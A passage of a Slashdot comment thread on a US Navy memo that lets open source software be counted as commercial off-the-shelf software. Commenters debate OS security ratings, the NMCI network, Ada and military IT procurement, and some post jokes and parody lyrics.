      However, the criteria have shifted over time. Under the Common Criteria, Trusted Solaris and Solaris 9 "only" rate EAL-4+ (out of a maximum of 7), with PR/SM and XTS-400 being the only ones to rate 5. Bear in mind that RHEL4 update 1 is also classed as 4+, as are Windows Server 2003 and Windows XP. The difference in security between Windows 2003 and Trusted Solaris is so vast as to be laughable, and the idea that a highly specialized, highly secure system like XTS-400 is less than a single unit of trustworthiness better than XP is a complete joke. Clearly the method used in the Common Criteria is flawed to the point of not being useful as a measure of trust.

      Mind you, the Orange Book was not perfect. Trusted Irix was rated B3, MULTIX was rated B2. The Multicians (a group of surviving kernel developers for MULTICS) let me know that there was no API, but you can't test if the API works if there is no API to test against. This makes testing for code safety difficult at best - you've nothing to tell you what's meant by safe. I'm prepared to believe MULTIX was brilliant, in fact I do believe that, but I have a hard time believing that the level of trust you could place in it was somewhere between that of Trusted Irix and Trusted Solaris. That may well be the case, but it feels more likely somehow that the evaluation criteria are too narrow and too minimalistic.

      (I'd develop my own criteria, but having friends and karma on Slashdot doesn't equate to being taken more seriously by industrial leaders on security issues than defense industry specialists. In fact, even being on Slashdot is probably a big minus in the eyes of places like BAE or Sun Microsystems. Which, of course, is stupid - everyone here knows Slashdot readers are the creme a-la creme of the industry.)

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    10. Re:Great! This is what you have to do by beyondkaoru · · Score: 1

      what should one do to make a really really secure operating system, both from user-to-user security and security on the network? you've mentioned creating proofs for the code, for example.

      --
      the privacy of one's mind is important.
      you do have something to hide.
    11. Re:Great! This is what you have to do by feepcreature · · Score: 1

      is that an argument for or against Linux?

      --
      Paul "Say no to feeping creaturism"
    12. Re:Great! This is what you have to do by JonathanX · · Score: 1

      XTS-300 and 400 are hardware platforms...overpriced PCs actually. STOP OS is the operating system.

    13. Re:Great! This is what you have to do by turbidostato · · Score: 1

      "and i suppose it did not occur to you that there is a very good reason WHY open source is not used extensively in defence? who wrote that code? did you audit every single line?"

      and i suppose it did not occur to you that there is a very good reason WHY closed source is not used extensively in defence? who wrote that code? did you audit every single line?

    14. Re:Great! This is what you have to do by laffer1 · · Score: 1

      I like Apple, but its silly to say that only American programmers work on it. I know for a fact there are programmers in other parts of the world working on it. At the very least, Apple is very clear that they hire native speakers to help with international translations. Also, you must consider as someone else pointed out that Apple uses a lot of open source packages. Those are not just written in the United States.

      My opinion is that the DoD should buy multiple systems so that we aren't running on one system. If there was a critical flaw, we could turn off all the affected systems and keep going. For instance, if there was a critical Windows flaw being used by an enemy, we could switch to a Linux, BSD, Mac OS, Solaris, HP-UX or whatever else was available. Any government putting all their eggs in one basket is stupid. All I can do is hope they are doing this.

    15. Re:Great! This is what you have to do by jd · · Score: 4, Informative
      Ok, here's a rundown on what I'd consider to be the criteria for measuring the trust of an OS:
      • Privileges should be defined on a gross level using role-based access controls and then on a fine level using hierarchical access controls:
        • Privileges should be universal. In other words, they should not just apply to applications or system calls, but also to address ranges, network ports, network types of service, disk directories, memory regions, shared memory regions, login and authentication methods, swap space quota and rights, run queues available - everything.
        • Privileges can never increase, but they can decrease. If a thread loses the right to run, any time to run in, or any ability to do anything if running, then it can be used for denial of service but nothing else and should therefore be eliminated.
      • The OS should not allow a user to escalate their privileges, even if a flaw is found within an application or Operating System:
        • Programs either run or accessed by a "local" user (or remotely by an identified "local" user) should never have greater rights than that subset of rights that exists for both program and user.
        • Programs either run or accessed by any other remote user should always be run with minimal rights.
        • The same is true for all other communication between any combination of users, processes, activities and resources.
      • The OS should not allow a user to escalate anyone else's privileges either (a major requirement of systems on classified networks):
        • If any resource of any kind is placed somewhere another user can access it, that resource must have privileges that are no greater than the subset of it's own privileges, that of the source user/process and that of the destination user/process.
        • The source and destination must be of a compatible nature - some roles cannot transfer resources to other roles, transfers that would result in the elimination of a mandated right would not be permitted, etc.
        • Where the transfer is of a pipe or other communications mechanism, nothing coming through the pipe can have greater rights than the pipe itself.
      • There should be no bypass mechanism:
        • This means no superuser, no special kernel components and no supervisory element. Everything that runs, including all kernel threads, should run with relative not absolute rights. When bugs are found - and they will be - the damage should be restricted to within a smaller scope than could have been inflicted without the bug.
      • The overall design of the software should be structurally correct.
        • In other words, if you draw out how the data flows, there should be no arc that would invalidate the security model by running out of rights or by having too many.
      • Those components for which a mathematical model can both exist and be verified should have such a model that has been verified.
        • Formal Methods are extremely hard to use well for giant projects, but there are many subsets for which they are ideal. An example of a formal method would be the Z Specification language, which is now an ISO standard. Tedious in the extreme for anything that's long and complex, it would be very usable for privilege management, key functions such as kmalloc/kfree, and other fundamental components on which the OS depends.
      • All components and combinations of components should be fully specified in some form and tested to that specification.
        • A specification needn't be formal in the mathematical sense, but it should be possible to derive valid cases, extreme (ie: corner) cases, and invalid cases. Both component-level and integrated test harnesses should then validate that all identified cases produce the expected results. Integrated testing should include both shotgun and continuous tests.
        • Distributed and massively parallel algorithms can be extremely difficult to prove, but it is essential for any level of confidence that they be pr
      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    16. Re:Great! This is what you have to do by jd · · Score: 1

      Thx for the correction. I'll blame it on not having had the privileges needed to perform the query. :)

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    17. Re:Great! This is what you have to do by mpe · · Score: 1

      and i suppose it did not occur to you that there is a very good reason WHY open source is not used extensively in defence? who wrote that code? did you audit every single line?

      This kind of argument is even more applicable to any proprietary software. Try even getting the code to the typical Windows machine...

    18. Re:Great! This is what you have to do by Speedracer1870 · · Score: 1

      Roger that. When I was with the Marines (the Men's Department of the Navy) they had us doing all kinds of stuff with MS apps. None of the programs "talked" to the programs used by other shops. There were all kinds of bugs in the apps, so much to the point that much of the work had to be done with pencil and paper to ensure it was right. It reduced unit readiness and put more risk into every operation. When we requested better programs, well...you know how it goes. Maybe if the military put people with a background in IT in the billets there would be fewer problems. Until then, they will run whatever crap looks best on paper.

  13. Steps to ultimate power! by Aazn · · Score: 1

    Step 1. Consider FOSS - COMPLETE Step 2. Dump Microsoft Step 3. Make P2P sharing legal Step 4. ??? Step 5. Profit!

  14. Coast Guard is doing something.... by tcopeland · · Score: 1

    ...at least, the fellows at CGA are looking into using Linux for Coast Guard systems. Coast Guard, the armed service that works for a living!

    1. Re:Coast Guard is doing something.... by stoolpigeon · · Score: 1

      armed service? works? you have seen the c.g. enlistment oath - right?
       
      U.S. COAST GUARD ENLISTMENT OATH
      "I, (State your name), swear to sign away 4 years of my life to the UNITED STATES COAST GUARD because I know being in the real military scares me. However, I swear to defend our position as the fifth branch of the Armed Services, although at one point we were under the Department of Homeland Security. I understand that atleast twice a day, someone will refer to me a member of the Air Force or Navy, and when I correct them, they will question my military status. I will work on boats the size of kayaks and small yachts during the worst of natures storms, and recieve no thanks or notice form the public. I will fly in helos into the eye of the storm to rescue people dumber then rocks, and then be heckled by the same people when I bust them for transporting drugs two months later.! I will prevent thousands of gallons of pollution, but be accused of impeding the economy when I won't allow vessels to pour oil into the ocean. I will be the red-headed step child to all of the other services, although I know I got the better deal. All of my equipment will be discarded Navy property. I will use most of my time in the Coast Guard to take college classes, and perfect my web surfing abilities, then complain that I work too much. I will perfect avoiding PT at all costs, and do my best to attend training that will give me a great competitive edge in the career field of my choice, making retention efforts of the Coast Guard pointless. I will come in contact with so many pollutants during my tenure, I will glow in the dark for the rest of my natural life and refer to myself as "salty" because of it. I will do my best to work 8 to 3, with a two hour lunch, on normal days, and have my pager and cell phone surgically attached, SO HELP ME GOD.

      --
      It's hard to believe that's how Micronians are made. Why don't we see it right now by having you both kiss one another?
    2. Re:Coast Guard is doing something.... by tcopeland · · Score: 1

      > I will fly in helos into the eye of the storm to rescue
      > people dumber then rocks, and then be heckled by the same
      > people when I bust them for transporting drugs two months later.

      If only it had been that exciting! I spent my CG career checking EPIRBs, counting rockfish, and filling out boarding reports. And spending money on barcode equipment no one used. Ah well. But, the gunnery exercises were fun!

  15. Fuck. by Mockylock · · Score: 0, Flamebait

    MAYBE, just MAYBE, they should consider creating their own software and environments that are specific to their own use. Rather than use something "open source" that everyone has access to... for a reason of... um... what's that word called?.... Security?

    --
    "Please, shut up. Just when I think you can't say anything more stupid, you speak again." -Archie Bunker.
    1. Re:Fuck. by ThosLives · · Score: 1

      That's what I would think... unless they're talking about office apps to run on their own closed networks.

      Running general purpose software on special-purpose machines (e.g., battleships, weapons, etc.) seems like a bad solution to me.

      But, then again, I have been accused of being idealistic.

      --
      "There are a dozen opinions on a matter until you know the truth. Then there is only one." - CS Lewis (paraprhase)
    2. Re:Fuck. by pilbender · · Score: 1

      That's been done for programming languages, Ada anyone? I'm sure it's been done for operating systems as well.

      I don't see why leveraging years of open source development work can't be an effective place to start when a solution is desired. That's open source: build and extend. No reason to start from scratch, for "security purposes." Open source has proven a flexible, viable and secure paradigm.

      The beauty of something like Linux is that you don't have to include anything that's *not* secure for the functioning of a system. All you have to do is strip it down for your needs. It can be as secure as they want to make it for their particular purpose.

      --
      Fresh horses and more whiskey for my men.
    3. Re:Fuck. by Mockylock · · Score: 1

      I agree.. But, I do wonder what this actually pertains to? (if I had the attention span to read up, I'd probably find out.)

      I know that several Electronic Attack jets in the Navy actually run on a windows base, but, it's probably a special flavor of some sort. I could see general IT tools, programming and such, playing a key when it comes to new open source ideas as well.

      I work at a company that deals with secure financial information and they rely on quite a few open-source tools, but they're windows-based programming.

      It would be nice to know the details of it all... and I doubt that even if they did decide on products, it would be wise to not tell the public what they choose. (In other words, we'll hear about it tomorrow.)

      --
      "Please, shut up. Just when I think you can't say anything more stupid, you speak again." -Archie Bunker.
    4. Re:Fuck. by mashade · · Score: 1

      Sure, because security through obscurity like that always works.

      Wouldn't you rather have something peer reviewed and thoroughly tested?

      --
      Technology tips and tricks.
    5. Re:Fuck. by crAckZ · · Score: 1

      Something tells me you wont be able to go and download a guidence system for nuclear weapons of sourceforge. it is like the FAA switching to redhat but i doubt you will be able do find anything of that nature floating around.
      although i did hear about a project for a nuclear sub on sourceforge. it is pretty neat. a happy face when all is good and a :( when in the middle of war. still alpha though

    6. Re:Fuck. by Mockylock · · Score: 1

      Yeah, to an extent.. ...but I'd rather my family test the lock on my door that I just made, than buy one off the shelf that has a manual for everyone to read on.

      --
      "Please, shut up. Just when I think you can't say anything more stupid, you speak again." -Archie Bunker.
  16. Blame by slapout · · Score: 0, Flamebait

    Its Bush's fault!!

    --
    Coder's Stone: The programming language quick ref for iPad
  17. Issues, issues. Who has tissues? by Anonymous Coward · · Score: 0

    "According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'""'

    Oh there are no issues.

  18. Net result: very little. by Frosty+Piss · · Score: 4, Insightful

    In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions...

    Judging based on my knowledge of DoD networks and computer applications, I don't believe this will have much of an effect on IT decisions in the Navy. (at the Air Force base I work at, we have some BSD, but it's running on specialized devices on a very small scale). It reminds me of how my father did equipment purchasing at the university he worked at (and I'll bet most Navy IT sections will do the same): The university had a set of requirements for big computer purchases that favored specific venders and things like low bit. By dad simply wrote the specs for what he wanted so strictly that only one product would satisfy the requirements.

    Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.

    Net result: very little.

    --
    If you want news from today, you have to come back tomorrow.
    1. Re:Net result: very little. by Anonymous Coward · · Score: 0

      Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.
      Net result: very little.


      I'm wondering how many people within the DoD are going to jail then, as there's even a DoD Configuration plugin for a popular open source browser listed here. Are all users who actually have a reason to run this breaking DoD regulations by using open source software or do you just not know what you're talking about?

    2. Re:Net result: very little. by jafac · · Score: 1

      Never mind that for every "You SHALL use Open Source. . . " requirement out there, there's another "You SHALL use Microsoft or ... " directive. You see these all over the place. At the end of the day - the integrator's going to either use what works, or fail. These kinds of directives are seldom heeded.

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
    3. Re:Net result: very little. by Frosty+Piss · · Score: 1

      Brimerton? Everett? McChord here.

      --
      If you want news from today, you have to come back tomorrow.
    4. Re:Net result: very little. by Anonymous Coward · · Score: 0

      yes, DMS (Defense Messaging System) is currently standardized on Exchange, and they want off.

      No FOSS -- You mean like Red Hat's software running in the DoD's Public Key Infrastructure?

      http://www.gridtoday.com/grid/1259692.html

      August Schell is a provider of professional services to organizations involved in Defense and National Security with expertise in the areas of PKI, virtualization and directory server engineering. "With the release of Red Hat Certificate System 7.2, Red Hat is defining the standard for security. The solution is innovative in its ability to simplify deployment and management while managed users and connected systems grow," said Bill Schell, President of August Schell. August Schell supports Red Hat's Certificate System deployment at the US Department of Defense, where it provides strong value as a central component in the security of the national military infrastructure. The Department of Defense also turned to August Schell last year for enabling its smooth migration from Sun's Solaris operating system to Red Hat Enterprise Linux. The Department of Defense's entire PKI now successfully runs on Red Hat Enterprise Linux.

  19. Yeah, and the USAF uses ADA by Liquidrage · · Score: 3, Interesting

    When I was writing software for the USAF we were required to use ADA. I worked at the USAF's largest software factory. No one there used ADA for anything.

    So to me the announcement means nothing. Military doesn't always eat it's own dog food.

    1. Re:Yeah, and the USAF uses ADA by T.E.D. · · Score: 1

      OK. Two issues here. First off, I can easily believe you never used it, and probably never even looked at it, because Its Ada (a person's name), not ADA (an acronym). No biggie, but its something anyone who actually looks at the language realizes pretty quickly.

      Secondly, you clearly didn't RTFA either. You are of course in good company there. In fact, I don't think the submitter read it either. They aren't mandating FOSS. All they are doing is making clear that OSS can typically be considered COTS (Commercial Off-The Shelf), which is often mandated (or strongly preferred). It may sound like splitting hairs, but there is a big difference. Nothing is stopping anyone from totally ignoring Linux when buying OS's. All the new new guidance memo appears to be trying to do is make it clear that OSS can be considered COTS, if you want to look at using it.

    2. Re:Yeah, and the USAF uses ADA by Liquidrage · · Score: 1

      ADA, Ada, or though waived by every shop on base. That was also over 10 years ago for me. OMG wow! I didn't capitolize something properly, the horror.

      Seriously, how much of a prick do you have to be to write what you just wrote in the manner you wrote it?
      ADA ADA ADAADA ADA ADA ADA ADA ADA ADA ADA ADA
      I hope that made your eyes bleed.

  20. Actions, Not Words! by Nom+du+Keyboard · · Score: 3, Funny
    now mandated to consider open source solutions

    Talk about an arrangement of words that don't mean cr@p in the real world.

    Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

    --
    "It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
  21. For security purposes perhaps. by jshriverWVU · · Score: 1
    This reminds me of an old article I read once where a Navy ship? sub? almost blew it's top when a system machine running Win NT crashed.

    I can see the Navy using FOSS since they can hire people to modify it to their specific needs and save money while also increasing security.

    1. Re:For security purposes perhaps. by sconeu · · Score: 1

      I guess you're talking about the USS Yorktown.

      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  22. Just As Soon As... by Anonymous Coward · · Score: 0

    ... the FOSS community gets done testing (and documenting testing) to full mil spec requirements.

    Doesn't seem like that'll be any time soon, given the common "so code it yourself" attitude.

  23. No surprise by GovCheese · · Score: 3, Informative

    No surprise here. The Navy has a history of being very ahead of the curve with their IT compared to many government counterparts, including cabinet level agencies. When other agencies were begging for connectivity with handhelds, the Navy had already had long rolled them out aboard their ships for connectity with the server operations of different onboard departments. Navy IT has been forward thinking for quite some time now. They'll consider FOSS very seriously and hopefully it'll have a ripple effect in other USG areas.

    --
    "He's using a quantum encryption scheme! That'll take hours to break!"
  24. Re:Finally! An F-22 Problem? by Nom+du+Keyboard · · Score: 2, Interesting
    Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM.

    What happens when it crosses the International Dateline?

    --
    "It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
  25. Revolution, real revolution works a step at a time by Anonymous Coward · · Score: 0

    In the beginning, only the guys who want it will use it. Thats how it starts. Then other people will try.

    Besides, working with these guys, I find they spend a lot of time on licensing and acquisition. On an enterprise scale, this is the best part about OSS.

    Another perk, never having to deal with Oracle Reps again.

  26. Fuck-and Gaping. by Anonymous Coward · · Score: 0

    "Wouldn't you rather have something peer reviewed and thoroughly tested?"'

    Why yes I would.

  27. Consider eh? by Zironic · · Score: 2, Interesting

    If I understand this correctly.

    Before the navy had no idea under what label they were supposed to put open source software so they didn't consider it (out of lazyness?). Now open source is defined as a commercial item so the navy can purchase it the same way they do with other software.

    However this doesn't seem to in any way prevent the large companies from doing what they always do. Just bribe the officials responsible for deciding what software/hardware to use and get them to make the navy pay for their expensive useless stuff.

    I doubt we'll see any great rise in the amount of open source software used in the navy just yet. It's a fairly big step in the right direction though. I would seriously not have thought that one of the big difficulties of using open source was defining it for your paper work o.O

    1. Re:Consider eh? by Anonymous Coward · · Score: 0

      This also has no guidelines whatsoever on what (if any) mandates are made of contractors when the Navy is not directly purchasing the software, but purchasing a product which has software.

      God I hope that my company's lawyers change their current "instant no" attitude towards anything open-source (actually, my facility's lawyers - other divisions of my company are more progressive) as a result of this though. It would be so wonderful to put VxWorks out of its misery for any future products we make. I'm praying this allows us to put VxWorks out of its misery...

  28. More paperwork? by pcraven · · Score: 2, Informative

    While I heartily support and use FOSS, I wonder if this adds yet more red tape?

    A long while back I worked for USGS. We were hampered with hiring people, getting new software, hardware, etc because of all the paperwork. If we made a decision we had to consider 50 different laws and regulations. Individually, they were great ideas. Put together they were paralyzing. This is the reason we were stuck with Data General for so long, because no one wanted to do the paperwork to change vendors.

  29. Re:Finally! An F-22 Problem? by sconeu · · Score: 1

    I think the International Dateline was a red herring.

    I doubt *any* flight control system works on the local time of the location being overflown, but on Zulu (UTC) or on the local time of the point of origin.

    What's lost in this is that the Dateline is also longitude +/- 180. I'd argue that the NAV system software probably choked on the sign change of longitude.

    --
    General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  30. One word: NMCI by mdsolar · · Score: 1

    The Navy Marine Corp Intranet http://www.eds.com/sites/nmci/ is controlled by EDS, Ross Perot's old company. It is very restrictive and last I knew only allowed windows on it. Only selected applications can be installed on a computer on this network and it is tough to make the list. This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved. The Navy and Marine Corps have put themselves in a Microsoft box on this one I think.
    --
    Rent Solar Power, no installation cost: http://mdsolar.blogspot.com/2007/01/slashdot-users -selling-solar.html

    1. Re:One word: NMCI by HoosierPeschke · · Score: 1

      This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved.


      Quite correct but fortunately Firefox doesn't require Admin privileges to be installed, =)
      --
      Mr. Universe: "They can't stop the signal, Mal. They can never stop the signal."
    2. Re:One word: NMCI by BigPenguin · · Score: 1

      NMCI is the result of the decision to outsource IT for shore based installations. So while NMCI may be it's own animal for shore commands, the FLEET as we like to call it, still runs their own networks. One of the largest in the world in fact. So don't take too much stock in the OP. NMCI may run the school house at base, but Navy IT's run the Navy abroad.

    3. Re:One word: NMCI by mdsolar · · Score: 1

      That's a relief. Legacy networks seem to be the only way to keep out of NMCI but that may also be the only on-shore model.

    4. Re:One word: NMCI by Pozican · · Score: 1

      NMCI is slated to be gone 2010(?) or 2011(?)

      Besides, there are still some operations running parrallel with nmci :D

  31. Why the Navy wants FOSS by greginnj · · Score: 3, Interesting
    I'm amazed at the number of people asking for cost comparisons and going on about how there are also training costs, blah blah blah. RTFA and we see:

    misconceptions about whether or not open source software qualifies as COTS (commercial off-the-shelf) or GOTS (government off-the-shelf) software has hindered the Navy's ability to fully utilize open source software.
    Which, if you use your critical reading skills, would tell you that the Navy is already trying to use FOSS, but is having trouble doing so. We all know about military spending -- they don't give a rat's ass about saving 10% off the fully loaded cost. What we're talking about is Naval Engineering:

    The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed.
    Now, imagine a similar situation involving software. Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself? As the pdf memorandum said:

    As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability.
    Go Navy!
    --
    Read the best of all of Slash: seenonslash.com
    1. Re:Why the Navy wants FOSS by Anonymous Coward · · Score: 0

      "As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability"

      Which will in all likelihood deep-six most of the OSS they would try to use. Military software has to adhere to development procedures and testing requirements unparalleled in virtually any commercial, or open source, development. If these procedures and creation of testing artifacts isn't tightly coupled with the initial development it will cost as much, or more, to qualify the open source software for use as it would to purchase custom commerical software that was designed from the onset specifically for military use.

      That is why the SLOC/time averages of military software developers look horrid compared to other developers. It's not that we're slackers - it is the rigor, paperwork, and procedures it must be developed under in order to be used.

      What the Navy is really looking for is more 'open architecture' (compared to their current stove pipe systems) rather than 'open source'.

    2. Re:Why the Navy wants FOSS by AHumbleOpinion · · Score: 2, Interesting

      "The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed."

      Now, imagine a similar situation involving software ...


      I can't. Are you familiar with the WW2 era Seabees. They weren't necessarily your teenage volunteers/draftees. Many were "old men" in their 30s and 40s who the Navy would have turned away due to their "advanced age", however these "old men" had many years of experience in construction, engineering and related disciplines so the Navy made an exception for the Seabees. So most of the people hacking away on FOSS would not be a similar fit experience wise, quality product wise, etc.

    3. Re:Why the Navy wants FOSS by samkass · · Score: 2, Interesting

      Not everywhere. The Army currently has a bit of a split personality here. The "Future Combat Systems" projects are all being developed on linux, and all FCS software is written in C, C++, or Java (no .NET). At the same time, all of the current Army Battle Command Systems are being actively ported to Windows and away from unices, favoring .NET solutions, and requiring Vista compatibility for all the next versions of the software. Doesn't matter to my product, as we use Java and can run on all of it.

      --
      E pluribus unum
    4. Re:Why the Navy wants FOSS by fluffy99 · · Score: 1

      No, if you read the actual memo, it talks about the definition of OSS (not free OSS) and plainly says that if it looks like COTS, treat it as COTS. The general direction of the Navy with it's DADMS database and even more restrictive ISF tools database that governs apps allowed on NMCI, is that regular commercial software is preferred. For example, commercial versions of Linux are approved for use within the Navy, but forget about custom distros.

    5. Re:Why the Navy wants FOSS by chthon · · Score: 1

      Mr. Winkle Goes To War, with Edward G. Robinson.

    6. Re:Why the Navy wants FOSS by greginnj · · Score: 1

      Yes, I realize the WWII era SeaBees were older than the average recruit. The point I was trying to make, that seems to be lost in the noise of ACs flaming me for the dramatic license I took, is that there's a similarity of perspective between the 'can do' philosophy of the SeaBees and FOSS. If someone was to refute me, a better argument would be to say that the Navy has been overrun with the same overspending philosophy as the rest of the military since WWII.

      --
      Read the best of all of Slash: seenonslash.com
    7. Re:Why the Navy wants FOSS by bill_mcgonigle · · Score: 1

      Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself?

      Awww, I had a great Team America scene in mind with a Bill Gates puppet.

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
    8. Re:Why the Navy wants FOSS by greginnj · · Score: 1

      Get me rewrite! We'll use your scene, but have ESR parachuting in, guns blazing!

      That would work even better! Pleasure working with you, your check's in the mail, see you at the premiere....

      --
      Read the best of all of Slash: seenonslash.com
  32. Nice chorus, but the orignial is well suited. by twitter · · Score: 2, Funny

    Finish your chorus with this and then fall back to the original lyrics:

    They want GNU
    They want GNU
    They want you as a GNU recruit

    The original Lyrics:

    Where can you find pleasure
    Search the world for treasure
    Learn science, technology
    Where can you begin
    To make your dreams all come true
    On the land or on the sea
    Where can you learn to fly
    Play in sports or skindive
    Study oceanography
    Sign up for the big band
    Or sit in the grand stand
    When your team and others meet

    If you like adventure
    Don't you wait to enter
    The recruiting office fast
    Don't you hesitate,
    There is no need to wait
    They're signing up new seamen fast
    Maybe you are too young to join up today
    But don't you worry 'bout the thing
    For I'm sure there will be
    Always the good Navy
    Protecting the land and sea

    I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:

    But, but, but
    I'm afraid of Penguins
    Hey, hey, look men
    I get seasick
    Even watching it on techTV
    They Want GNU
    Oh my goodness
    They Want GNU
    What am I gonna do in a GNU machine
    They Want GNU
    They Want GNU
    In the Navy

    In the Navy
    Yes, you can apt-get with ease
    In the Navy
    Yes, that will put your mind at ease
    In the Navy
    There will be no blue screen disease
    In the Navy
    Can't you see we need a hand
    In the Navy
    Come on and share the source code
    In the Navy
    Come on and help your fellow man
    In the Navy
    Come on people and make a stand
    In the Navy

    --

    Friends don't help friends install M$ junk.

    1. Re:Nice chorus, but the orignial is well suited. by Anonymous Coward · · Score: 0

      well, that's 30 minutes of your life you'll never get back

  33. GPLv3, new clause by Anonymous Coward · · Score: 1, Interesting

    Can we please put a clause in GPLv3 that prevents GPL'd software from being used to kill people?

    1. Re:GPLv3, new clause by LokiFoo · · Score: 1

      Can we please put a clause in GPLv3 that prevents GPL'd software from being used to kill people? I think this has been explored before.
    2. Re:GPLv3, new clause by gatkinso · · Score: 1

      Sure - insert the cluase.

      And watch it be ignored... just as the entire GPL is orgnored when OSS is used in a military project.

      But seriously, consider your statement. Where you you draw the line? Software that targets and guides weapons? Software the runs surveillance radar? Software that sends classified email? Software that schedules material shipments to forward posts? No use by any military whatsoever for any reason?

      In todays world damn near anything is a weapon of mass destruction, if you apply a bit of liberal logic to it. A box cutter, in the right place, can destroy several blocks of downtown New York. Software is no different.

      --
      I am very small, utmostly microscopic.
    3. Re:GPLv3, new clause by Experiment+626 · · Score: 1

      Can we please put a clause in GPLv3 that prevents GPL'd software from being used to kill people?

      Those kind of clauses could be added, but then GPL'd software wouldn't be open source anymore (check out number 6). Besides, do you really want a Linux where package A can't be used by the military, package B can't be used for commercial purposes, package C can't be used for stem cell research, package D can't be used by black people, and so on?

  34. N M C I (No More Computing Inhouse) by Anonymous Coward · · Score: 3, Informative

    I work in a Navy research IT environment and have used OSS for years in variety of environments.

    In the last few years the Navy has straddled us with the hideous NMCI IT contract that dictates operating systems, software applications, and hardware. When NMCI was conceived, in the womb of ignorance and shortsightedness, they were thinking of providing a common monocultural solution that might work if the only thing the Navy did was to send email and make PowerPoint presentations.

    In a research environment you need flexibility in order to match solutions to problems. NMCI forbids the installation "unapproved" software or hardware. This includes software drivers and communication applications for special purpose hardware such as serial/USB/PCI devices. You cannot connect any web enabled devices like cameras, 1-wire control, power control devices, UPS devices, weather stations, data acquisitions, etc.

    So what happens at the Navy Labs is there are two networks - the NMCI network and the "Legacy Network" where the work gets down.

    In the spirit of reducing cost we have have to maintain two networks and two computers on each desktop and have two exposed flanks to the outside world! It is wasteful, dangerous and inefficient.

    Oh did I mention NMCI is inefficient and near useless. I have a NMCI laptop. I would rather have a 286 with two floppy drives and a sharp stick. The other day I needed to access a jpeg image that was on the NMCI network and edit it with Coral Draw (the application they felt I should be using instead of the more useful, efficient and cheaper PSP). I timed the process from pushing the "On" button and loading the remote desktop, mapping the network file system, logging on, clicking thru all the various dialog windows, loading the bloated application and load the file - it took over 27 minutes.

  35. Not the Navy by Anonymous Coward · · Score: 0

    There is already enough Seamen being flung around between members of the FOSS community.. there will be way too much if the Navy gets involved.

  36. If only it affected NMCI by DoofusOfDeath · · Score: 1
    NMCI

    The U.S. government's biggest gift to Microsoft since the abandoned anti-trust suit.

  37. Yeah but... by TrappedByMyself · · Score: 3, Funny

    If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!

    --

    Help me take back Slashdot. When did 'News for Nerds' become 'FUD and Conspiracy Theories for Extremist Nutjobs'?
    1. Re:Yeah but... by treeves · · Score: 1

      I served on a nuclear sub (USS Kamehameha (SSBN 642) and the guys who drive (the helmsmen and planesmen) are basically the same guys who work in the galley cleaning up and go around waking people for the next watch (kinda like human alarm clocks). Not too hard to fill those positions. Now there are people telling them what to do who have more knowledge and experience and people telling *those* people what to do and so on. . .

      --
      ...the future crusty old bastards are already drinking the Kool-Aid.
  38. Repaint, thou thinner by smittyoneeach · · Score: 1

    with a mandatory UserFriendly appearance: http://ars.userfriendly.org/cartoons/?id=20020428

    --
    Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    1. Re:Repaint, thou thinner by Anonymous Coward · · Score: 0

      Ha. Ha. *headdesk*

  39. Re:Revolution, real revolution works a step at a t by Frosty+Piss · · Score: 1

    Besides, working with these guys, I find they spend a lot of time on licensing and acquisition.

    Are you suggesting that they would jump at the chance for a simpler, less time consuming process? I don't think so, that would mean the loss or downgrade of a manning position. It may be a pain in the ass, but it translates into someone's job.

    --
    If you want news from today, you have to come back tomorrow.
